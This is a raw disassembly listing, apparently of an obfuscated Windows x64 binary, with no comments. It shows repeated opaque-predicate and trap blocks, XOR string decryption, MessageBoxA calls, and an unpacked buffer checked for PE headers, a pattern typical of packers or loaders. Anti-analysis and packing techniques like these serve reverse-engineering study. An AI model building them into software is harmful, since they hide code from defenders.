mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002efcf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
test rbx, rbx
je 0x14003b0c8
cmp qword [rbp + 0x10f8], r14
je 0x14003b0c8
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f08f
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f06f
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f06f
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f08f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14003c178
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400c4130
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f16f
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x14f86770
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f14f
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f14f
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f16f
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f219
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f1f9
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f1f9
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f219
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.14003c874
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f2e6
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x14f86770
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f2c6
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f2c6
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f2e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f390
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f370
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f370
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f390
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002f3bd
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14002f4df
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r12, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x14002f44e
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14002f430
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r12d, 0x109b63cf
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f589
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f569
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f569
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f589
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
mov esi, 0x14f86770
cmp rax, r13
jne 0x14002f64a
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f62a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f62a
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f64a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14002f6f4
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f6d4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f6d4
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f6f4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x14002fad3
cmp rax, r13
jne 0x14002f7b6
mov rax, qword gs:[0x10]
movabs rcx, 0xf02c856a42fbcf00
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f796
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f796
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f7b6
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xee
mov r10, r14
mov ebx, 0xf2601421
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
movabs r15, 0x8080808080808081
mov r13d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002f801
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1401030a0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1401032a0]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x140103240]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x63255afe
mov dword [rbp + 0xc8c], 0xee6b7ba9
mov dword [rbp + 0xc90], 0xdd604afc
mov word [rbp + 0xc94], 0xa
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x39c0e4cbdd
movabs r11, 0x7381c997ba
mov r13d, 0xa892da90
mov r12d, 0xf2601420
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002f8e5
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0x50]
cmp rcx, r13
mov r12d, 0x109b63cf
jne 0x14002fa25
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fa05
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fa05
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fa25
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14003b3e3
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fab3
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fab3
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b3e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
cmp rax, r13
jne 0x14002fb74
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fb54
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fb54
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fb74
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x50]
mov r15d, 0xa892da90
movabs rbx, 0xf02c856a42fbcf00
cmp rax, r15
jne 0x14002fc3c
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fc1c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fc1c
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fc3c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x140030013
cmp rax, r15
jne 0x14002fcf6
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fcd6
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fcd6
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fcf6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xee
mov r10, r14
mov ebx, 0xf2601421
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
movabs r13, 0x8080808080808081
mov r15d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002fd41
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1401030a0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1401032b0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x140103240]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x63255afe
mov dword [rbp + 0xccc], 0xee6b7ba9
mov dword [rbp + 0xcd0], 0xdd604afc
mov word [rbp + 0xcd4], 0xa
mov r9, r14
movabs r8, 0x39c0e4cbdd
mov r10d, 0x3d
movabs r11, 0x7381c997ba
mov r15d, 0xa892da90
mov r12d, 0xf2601420
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14002fe25
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x50]
cmp rax, r15
mov r12d, 0x109b63cf
jne 0x14002ff65
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ff45
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ff45
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ff65
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x14003b3e3
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fff3
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fff3
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b3e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
cmp rax, r15
jne 0x1400300c7
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400300a7
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400300a7
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400300c7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1401031c0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xc5e539d5
mov dword [rbp + 0x98c], 0xf777d9b1
mov dword [rbp + 0x990], 0xa1a42561
mov word [rbp + 0x994], 0x88e3
mov byte [rbp + 0x996], al
mov r8, r14
mov esi, 0xf2601420
movabs r9, 0x1c67425bde
lea r10d, [rax + 0x1e]
mov r12d, 0xf2601421
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x978]
xor dil, r8b
mov byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x38ce84b7bc
cmp r9, rax
jb 0x140030133
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x140103030]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x140102fa0]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs rbx, 0x3ab344dffe
movabs r9, 0x1d59a26fff
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x1400301f4
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14003b3f0
mov rax, qword gs:[0x50]
cmp rax, r15
movabs rbx, 0xf02c856a42fbcf00
mov esi, 0x109b63cf
jne 0x140030362
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030342
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030342
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030362
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
mov edi, 0x14f86770
cmp rax, r15
jne 0x140030423
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030403
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030403
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030423
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
xor ecx, ecx
call fcn.1400a5da4
mov rcx, rax
call fcn.1400a1684
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x1400304dc
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400304bc
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400304bc
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400304dc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030586
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030566
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030566
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030586
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x140030630
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030610
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030610
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030630
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x1400306da
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400306ba
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400306ba
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400306da
mov rax, qword [rbp + 0xf40]
